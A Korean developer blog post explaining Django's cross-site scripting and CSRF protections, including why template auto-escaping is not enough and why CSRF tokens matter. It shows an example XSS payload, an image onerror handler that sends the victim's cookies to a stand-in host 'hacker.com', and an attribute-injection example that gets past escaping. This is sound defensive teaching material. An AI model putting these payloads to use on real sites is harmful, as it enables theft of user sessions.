티스토리 뷰
🚀 들어가며...
- 금일 포스팅에서는 장고에서의 Cross site scripting / Cross site request forgery protection 을 알아보도록 하겠습니다.
📑 내용
Cross site scripting (XSS) protection
웹 어플리케이션에서 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점입니다.
주로 게시판이나 방명록 등 여러 사용자가 보게 되는 곳에 악성 스크립트가 담긴 글을 올리는 형태로 이루어집니다.
이 취약점은 웹 어플리케이션이 사용자로부터 입력받은 값을 제대로 검사하지 않고 사용할 경우 나타납니다.
(ex)
<p>Hello! I am a hacker.</p>
<img src="#" width="0" heigh="0"
onerror="this.src='http://hacker.com/gatherCookie.php?
cookie='+encodeURIComponent(document.cookie);" />
장고의 템플릿은 특별히 위험한 문자인 <, >, ', '', & 등을 그들만이 알아볼 수 있는 특별한 문자(< , > 등..)로 변환시켜 스크립트가 작동하지 않게 함으로써 대부분의 XSS 공격을 막아줍니다. 하지만 이것만 믿고서 있으면 안됩니다. 예를 들어
<style class={{ var }}>...</style>
다음에서 var = class1 onmouseover=javascript:func()으로 적용된다면 검증되지 않은 자바스크립트가 실행 될 것입니다. 이 외에도 이 취약점을 공격할 수 있는 방법은 많기 때문에 웹 개발자는 이를 항상 주의해야 합니다.
Cross site request forgery (CSRF) protection
(유명 경매 사이트인 옥션에서 이 공격으로 인해 개인정보가 유출되었다고 합니다.)
이는 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)을 특정 웹사이트에 요청하게 하는 공격을 말합니다. XSS를 이용한 공격이 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면, 이것은 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것입니다.
피해자가 공격자가 준비해 둔 공격코드를 가진 웹페이지에 들어가면 피해자는 본인도 모르는 새에 공격자가 준비해 둔 요청(GET, POST)을 서버로 송신하게 됩니다. 그렇기 때문에 CSRF 방어는 모든 요청을 검사하는 방식으로 이루어지게 됩니다. 장고에서는 대부분의 CSRF 공격 타입에 대한 built-in protection을 가지고 있습니다.
EX)템플릿에서 CSRF 토큰을 사용하는 예
요청이 가능하다고 생각되는 곳에는 이 CRSF 토큰을 사용하는 걸 습관화하는 게 좋아 보입니다.
하지만 이 모든것이 Templates를 사용하지 않는다면 크게 중요하지는 않습니다.(render가 없으면 크게중요 X)
🙋🏻♂️ 후기
보안이나 미들웨어 관련 정보들은 공식문서에 많이 나와있기 때문에 아래의 게시해 놓은 공식문서에서 여러 장고정보들을 찾아보시는 것을 추천드립니다.
🔗 참고한 글
https://docs.djangoproject.com/en/1.8/ref/csrf/#using-csrf
'Django' 카테고리의 다른 글
[Django] 서버 실행 과정 (0) | 2022.09.28 |
---|---|
[Django] WSGI handlers 분석해보기! (0) | 2022.09.15 |
[Django] 파일 업로드 테스트 with Nginx, uWSGI (0) | 2022.07.25 |
[Django] static files (0) | 2022.07.21 |
[Django] 로그 남기기 - logging (0) | 2022.07.20 |
- Total
- Today
- Yesterday
- db
- lv2
- static files
- Greedy Algorithm
- JavaScript
- This
- uSWGI
- MVT
- Named export
- react
- docker
- Default export
- list
- lv1
- union-find
- 탐욕법
- Algorithm
- Linux
- django ORM
- programmers
- Python
- container
- data formatting
- JS
- SQL
- generator expression
- PostgreSQL
- django
- ORM
- Master & Slave
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |